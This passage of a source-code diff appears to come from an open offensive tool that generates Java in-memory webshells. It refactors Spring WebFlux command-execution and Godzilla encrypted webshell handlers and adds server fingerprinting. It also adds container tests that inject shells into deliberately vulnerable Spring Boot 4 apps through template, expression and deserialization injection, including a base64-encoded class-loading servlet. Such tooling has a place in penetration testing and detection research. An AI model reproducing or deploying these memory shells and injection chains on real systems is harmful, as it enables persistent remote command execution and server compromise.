e.printStackTrace();
|
||||
}
|
||||
return ServerResponse.ok().body(Mono.just(result), String.class);
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic());
|
||||
return ServerResponse.ok().body(resultMono, String.class);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+9
-3
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = exchange.getRequest().getHeaders().getFirst(paramName);
|
||||
}
|
||||
final String paramValue = p;
|
||||
Mono<String> resultMono = Mono.fromCallable(() -> {
|
||||
String result = "";
|
||||
try {
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
if (paramValue != null) {
|
||||
String param = getParam(paramValue);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
result = new Scanner(inputStream).useDelimiter("\\A").next();
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return ResponseEntity.ok(result);
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic());
|
||||
return ResponseEntity.ok(resultMono);
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+8
-2
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
@@ -26,7 +27,9 @@ public class CommandWebFilter implements WebFilter {
|
||||
if (p == null) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
String param = getParam(p);
|
||||
final String paramValue = p;
|
||||
return Mono.fromCallable(() -> {
|
||||
String param = getParam(paramValue);
|
||||
String result = "";
|
||||
try {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
@@ -34,7 +37,10 @@ public class CommandWebFilter implements WebFilter {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
|
||||
return result;
|
||||
}).subscribeOn(Schedulers.boundedElastic())
|
||||
.flatMap(result -> exchange.getResponse().writeWith(
|
||||
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
|
||||
+10
-5
@@ -1,9 +1,11 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.reactive.function.server.HandlerFunction;
|
||||
import org.springframework.web.reactive.function.server.ServerRequest;
|
||||
import org.springframework.web.reactive.function.server.ServerResponse;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -35,7 +37,13 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return Mono.empty();
|
||||
}
|
||||
Object bufferStream = request.formData().flatMap(map -> {
|
||||
Mono<String> bufferStream = request.formData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, request))
|
||||
.subscribeOn(Schedulers.boundedElastic()));
|
||||
return ServerResponse.ok().body(bufferStream, String.class);
|
||||
}
|
||||
|
||||
private String process(MultiValueMap<String, String> map, ServerRequest request) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
@@ -57,12 +65,9 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ServerResponse.ok().body(bufferStream, String.class);
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
|
||||
+10
-4
@@ -1,8 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -33,7 +35,13 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return ResponseEntity.notFound().build();
|
||||
}
|
||||
Object bufferStream = exchange.getFormData().flatMap(map -> {
|
||||
Mono<String> bufferStream = exchange.getFormData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||
.subscribeOn(Schedulers.boundedElastic()));
|
||||
return ResponseEntity.ok(bufferStream);
|
||||
}
|
||||
|
||||
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
@@ -55,9 +63,7 @@ public class GodzillaHandlerMethod extends ClassLoader {
|
||||
ex.printStackTrace();
|
||||
result.append(getErrorMessage(ex));
|
||||
}
|
||||
return Mono.just(result.toString());
|
||||
});
|
||||
return ResponseEntity.ok(bufferStream);
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
+8
-7
@@ -1,12 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import org.springframework.core.io.buffer.DataBuffer;
|
||||
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
|
||||
import org.springframework.util.MultiValueMap;
|
||||
import org.springframework.web.server.ServerWebExchange;
|
||||
import org.springframework.web.server.WebFilter;
|
||||
import org.springframework.web.server.WebFilterChain;
|
||||
import reactor.core.publisher.Mono;
|
||||
import reactor.core.scheduler.Schedulers;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
@@ -39,12 +39,14 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
return exchange.getResponse().writeWith(getPost(exchange));
|
||||
return exchange.getFormData()
|
||||
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
|
||||
.subscribeOn(Schedulers.boundedElastic()))
|
||||
.flatMap(bytes -> exchange.getResponse().writeWith(
|
||||
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
|
||||
}
|
||||
|
||||
private Mono<DataBuffer> getPost(ServerWebExchange exchange) {
|
||||
Mono<MultiValueMap<String, String>> formData = exchange.getFormData();
|
||||
return formData.flatMap(map -> {
|
||||
private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
|
||||
StringBuilder result = new StringBuilder();
|
||||
try {
|
||||
byte[] data = base64Decode(map.getFirst(pass));
|
||||
@@ -66,8 +68,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
|
||||
e.printStackTrace();
|
||||
result.append(getErrorMessage(e));
|
||||
}
|
||||
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8)));
|
||||
});
|
||||
return result.toString().getBytes(StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -44,7 +44,7 @@ public class ServerProbe {
|
||||
if (System.getProperty("com.apusic.home") != null) {
|
||||
return ret = "Apusic";
|
||||
}
|
||||
if (System.getProperty("bes.home") != null
|
||||
if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
|
||||
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
|
||||
return ret = "BES";
|
||||
}
|
||||
@@ -67,7 +67,8 @@ public class ServerProbe {
|
||||
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
|
||||
return ret = "Resin2";
|
||||
}
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
|
||||
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|
||||
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
|
||||
return ret = "SpringWebFlux";
|
||||
}
|
||||
if (System.getProperty("AS_INSTALL") != null
|
||||
|
||||
+1
-1
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testJakartaServlet(){
|
||||
void testJakartaServlet() {
|
||||
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
|
||||
String className = CommonUtil.generateClassName();
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
|
||||
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
|
||||
apache-dubbo = "2.7.6"
|
||||
tomcat = "8.5.85"
|
||||
|
||||
byte-buddy = "1.18.11" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
|
||||
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
|
||||
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
|
||||
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
|
||||
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
|
||||
okhttp3 = "5.4.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
|
||||
fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
|
||||
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
|
||||
|
||||
mockito = "5.21.0"
|
||||
|
||||
@@ -28,6 +28,8 @@ public class ContainerTool {
|
||||
public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
|
||||
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
|
||||
|
||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||
|
||||
|
||||
@@ -381,7 +381,8 @@ public class ShellAssertion {
|
||||
}
|
||||
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
||||
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|
||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|
||||
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
|
||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||
}
|
||||
|
||||
@@ -429,7 +430,7 @@ public class ShellAssertion {
|
||||
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
||||
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
||||
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
||||
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
|
||||
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
|
||||
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
||||
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
||||
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
||||
@@ -444,6 +445,7 @@ public class ShellAssertion {
|
||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
|
||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||
.jarFile(ContainerTool.springBoot4WebfluxJarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.SpringWebFlux)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.enableJspPackerTest(false)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.jattachFile(null)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SPRING_WEBFLUX_WEB_FILTER,
|
||||
ShellType.SPRING_WEBFLUX_HANDLER_METHOD,
|
||||
ShellType.NETTY_HANDLER
|
||||
))
|
||||
.testPackers(List.of(Packers.Base64))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+2
-1
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("eclipse-temurin:21.0.11_10-jdk")
|
||||
.jarFile(ContainerTool.springBoot4JarFile)
|
||||
.jakarta(true)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.SpringWebMvc)
|
||||
.pidScript(ContainerTool.springbootPid)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.enableJspPackerTest(false)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.assertLogs(false)
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
|
||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
|
||||
))
|
||||
.build();
|
||||
|
||||
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
|
||||
.imageName("springboot4")
|
||||
.server(Server.Tomcat)
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
// ShellType.LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.JAKARTA_WEBSOCKET,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.H2))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> tomcatCasesProvider() {
|
||||
return generateTestCases(TOMCAT_CONFIG);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("tomcatCasesProvider")
|
||||
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
package com.reajason.javaweb.integration.memshell.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class SpringBoot4ExpressionContainerTest {
|
||||
public static final String imageName = "springboot4";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk")
|
||||
.withCopyFileToContainer(springBoot4JarFile, "/app/app.jar")
|
||||
.withCommand("java -jar /app/app.jar")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
|
||||
.waitingFor(Wait.forHttp("/test"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
|
||||
public static String getUrl(GenericContainer<?> container) {
|
||||
String host = container.getHost();
|
||||
int port = container.getMappedPort(8080);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
